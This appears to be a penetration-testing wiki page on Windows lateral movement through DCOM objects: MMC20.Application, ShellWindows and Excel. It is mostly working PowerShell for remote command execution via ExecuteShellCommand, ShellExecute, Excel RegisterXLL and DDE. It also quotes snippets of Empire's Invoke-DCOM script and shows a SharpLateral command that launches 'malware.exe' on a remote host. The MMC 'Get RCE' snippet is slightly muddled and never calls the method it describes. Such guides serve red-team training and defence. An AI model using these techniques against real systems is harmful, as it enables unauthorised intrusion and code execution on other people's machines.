## MMC20.Application
|
||
|
||
**For more info about this technique chech the original post from [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||
|
||
|
||
Distributed Component Object Model (DCOM) objects present an interesting capability for network-based interactions with objects. Microsoft provides comprehensive documentation for both DCOM and Component Object Model (COM), accessible [here for DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) and [here for COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). A list of DCOM applications can be retrieved using the PowerShell command:
|
||
|
||
```bash
|
||
Get-CimInstance Win32_DCOMApplication
|
||
```
|
||
|
||
The COM object, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), enables scripting of MMC snap-in operations. Notably, this object contains a `ExecuteShellCommand` method under `Document.ActiveView`. More information about this method can be found [here](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Check it running:
|
||
|
||
This feature facilitates the execution of commands over a network through a DCOM application. To interact with DCOM remotely as an admin, PowerShell can be utilized as follows:
|
||
|
||
```powershell
|
||
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
|
||
```
|
||
|
||
This command connects to the DCOM application and returns an instance of the COM object. The ExecuteShellCommand method can then be invoked to execute a process on the remote host. The process involves the following steps:
|
||
|
||
Check methods:
|
||
|
||
```powershell
|
||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||
$com.Document.ActiveView | Get-Member
|
||
```
|
||
|
||
Get RCE:
|
||
|
||
```powershell
|
||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||
$com | Get-Member
|
||
|
||
# Then just run something like:
|
||
|
||
ls \\10.10.10.10\c$\Users
|
||
```
|
||
|
||
## ShellWindows & ShellBrowserWindow
|
||
|
||
**For more info about this technique check the original post [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
|
||
|
||
The **MMC20.Application** object was identified to lack explicit "LaunchPermissions," defaulting to permissions that permit Administrators access. For further details, a thread can be explored [here](https://twitter.com/tiraniddo/status/817532039771525120), and the usage of [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET for filtering objects without explicit Launch Permission is recommended.
|
||
|
||
Two specific objects, `ShellBrowserWindow` and `ShellWindows`, were highlighted due to their lack of explicit Launch Permissions. The absence of a `LaunchPermission` registry entry under `HKCR:\AppID\{guid}` signifies no explicit permissions.
|
||
|
||
### ShellWindows
|
||
For `ShellWindows`, which lacks a ProgID, the .NET methods `Type.GetTypeFromCLSID` and `Activator.CreateInstance` facilitate object instantiation using its AppID. This process leverages OleView .NET to retrieve the CLSID for `ShellWindows`. Once instantiated, interaction is possible through the `WindowsShell.Item` method, leading to method invocation like `Document.Application.ShellExecute`.
|
||
|
||
Example PowerShell commands were provided to instantiate the object and execute commands remotely:
|
||
```powershell
|
||
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
|
||
$obj = [System.Activator]::CreateInstance($com)
|
||
$item = $obj.Item()
|
||
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
|
||
```
|
||
|
||
### Lateral Movement with Excel DCOM Objects
|
||
|
||
Lateral movement can be achieved by exploiting DCOM Excel objects. For detailed information, it's advisable to read the discussion on leveraging Excel DDE for lateral movement via DCOM at [Cybereason's blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
|
||
|
||
The Empire project provides a PowerShell script, which demonstrates the utilization of Excel for remote code execution (RCE) by manipulating DCOM objects. Below are snippets from the script available on [Empire's GitHub repository](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), showcasing different methods to abuse Excel for RCE:
|
||
|
||
```powershell
|
||
# Detection of Office version
|
||
elseif ($Method -Match "DetectOffice") {
|
||
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||
$Obj = [System.Activator]::CreateInstance($Com)
|
||
$isx64 = [boolean]$obj.Application.ProductCode[21]
|
||
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
|
||
}
|
||
# Registration of an XLL
|
||
elseif ($Method -Match "RegisterXLL") {
|
||
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||
$Obj = [System.Activator]::CreateInstance($Com)
|
||
$obj.Application.RegisterXLL("$DllPath")
|
||
}
|
||
# Execution of a command via Excel DDE
|
||
elseif ($Method -Match "ExcelDDE") {
|
||
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||
$Obj = [System.Activator]::CreateInstance($Com)
|
||
$Obj.DisplayAlerts = $false
|
||
$Obj.DDEInitiate("cmd", "/c $Command")
|
||
}
|
||
```
|
||
|
||
### Automation Tools for Lateral Movement
|
||
|
||
Two tools are highlighted for automating these techniques:
|
||
|
||
- **Invoke-DCOM.ps1**: A PowerShell script provided by the Empire project that simplifies the invocation of different methods for executing code on remote machines. This script is accessible at the Empire GitHub repository.
|
||
|
||
- **SharpLateral**: A tool designed for executing code remotely, which can be used with the command:
|
||
|
||
```bash
|
||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||
```
|
||
|
||
|
||
## Automatic Tools
|
||
|
||
* The Powershell script [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) allows to easily invoke all the commented ways to execute code in other machines.
|
||
* You could also use [**SharpLateral**](https://github.com/mertdas/SharpLateral):
|
||
|
||
```bash
|
||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||
```
